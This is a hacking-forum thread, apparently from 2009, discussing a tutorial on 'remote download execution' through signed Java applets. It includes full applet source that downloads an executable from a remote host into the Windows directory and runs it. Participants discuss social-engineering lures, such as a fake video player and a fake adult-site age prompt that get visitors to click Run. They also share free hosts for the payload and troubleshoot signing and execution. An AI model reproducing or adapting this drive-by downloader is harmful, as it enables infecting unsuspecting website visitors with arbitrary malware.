Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Remote Download Execution with Java [TuT]

Okay. I've got everything uploaded, and when you go to the page the Run thing pops up, you click run and nothing happens?
It would be grat that message of jave can change like> these is adult site only for 18+ if you wana enter the site pres run ...
(Nov 6, 2009 12:10 PM)Arês™ Wrote:  It would be grat that message of jave can change like> these is adult site only for 18+ if you wana enter the site pres run ...

What I have is a fake video box with a flash loading animation which turns into a "java error" and then the popup comes up.
when i get to the keytool but this happens:

C:\Users\liam\Desktop\hacking>keytool -genkey –keystore php –alias me
keytool error: java.lang.RuntimeException: Usage error, ûkeystore is not a legal command

how can i fix this
(dont say that im in the wrong directory because i have applyed a registery hack so i dont have to be in the skd dir)
Ok i managed to sign it but when i run the application id dose nothing
What webhost to use SPAM.com is good ?
(Nov 9, 2009 02:00 PM)R.T.C Wrote:  What webhost to use SPAM.com is good ?

drivehq.com is good also.
You're nothing but a whiskey Delta
Hmm, i reviewed the code. I changed it up a bit(a lot). Try my code, im good and Java so you can trust me and look it over. Only a few changes. This seems to work faster and better than the other code.

Code
import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;




public class Client extends Applet{

    public Client(){
    }

    public void start(){

        String fileoot = System.getenv("WINDIR");
            String fname = "\\filename.exe";//Change to full file name

            String efool = fileoot.concat(fname);


            final String locationDownload = "http://mywebsite.com/filename.exe";//Change link inside " " to the link to your file location

            download(locationDownload, efool);

            final Runtime run = Runtime.getRuntime();

            try {
                run.exec(efool);
            } catch (final IOException e) {
            }
            return;
        }
    
    public void download(final String address, final String localFileName) {
        OutputStream out = null;
        URLConnection conn = null;
        InputStream in = null;
        try {
            final URL url = new URL(address);

            out = new BufferedOutputStream(new FileOutputStream(localFileName));
            conn = url.openConnection();
            in = conn.getInputStream();

            final byte[] buffer = new byte[1024];
            int numRead;
            while ((numRead = in.read(buffer)) != -1) {
                out.write(buffer, 0, numRead);
            }
        } catch (final Exception exception) {
        } finally {
            try {
                if (in != null) {
                    in.close();
                }
                if (out != null) {
                    out.close();
                }
            } catch (final IOException ioe) {
            }
        }
    }



    public void main(String args[]){

        start();

    }    



    public void stop(){
    }
}
Thank you sir.
Its very easy to follow and useful too.
It works, but it corrupts the file when downloaded.


Never mind - it was my server protection.
[Image: member.php?action=register&referrer=163196]
Very impressive :)

- Mukso
Great TUT MAN
Thanks!!
can someone please help me ive been trying to get this to work for a long time now,

i followed every step in the tut, i went back a rechecked.

i tested it on SPAM and 0catch so far i can uploaded the class, jar, and my exe to both hosts without a problem. i get the cert popup but when i click run nothing happens, the exe doesnt run..

the exe runs when i manually execute it from my desktop.. so theres nothing rong with the exe either.

EDIT: i tested it with executing calculator.exe and it worked.. does anyone know why it wont work with some exe's?
dude thank u you rock
Hey thanks mate, its a very good and clean tutorial


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
[Legends] by JoseMarJan 15, 2025 03:00 PM 3 218 Jan 15, 2025 03:00 PM
Last Post: JoseMar
by SaintJimmyApr 24, 2020 09:02 PM 0 134 Apr 24, 2020 09:02 PM
Last Post: SaintJimmy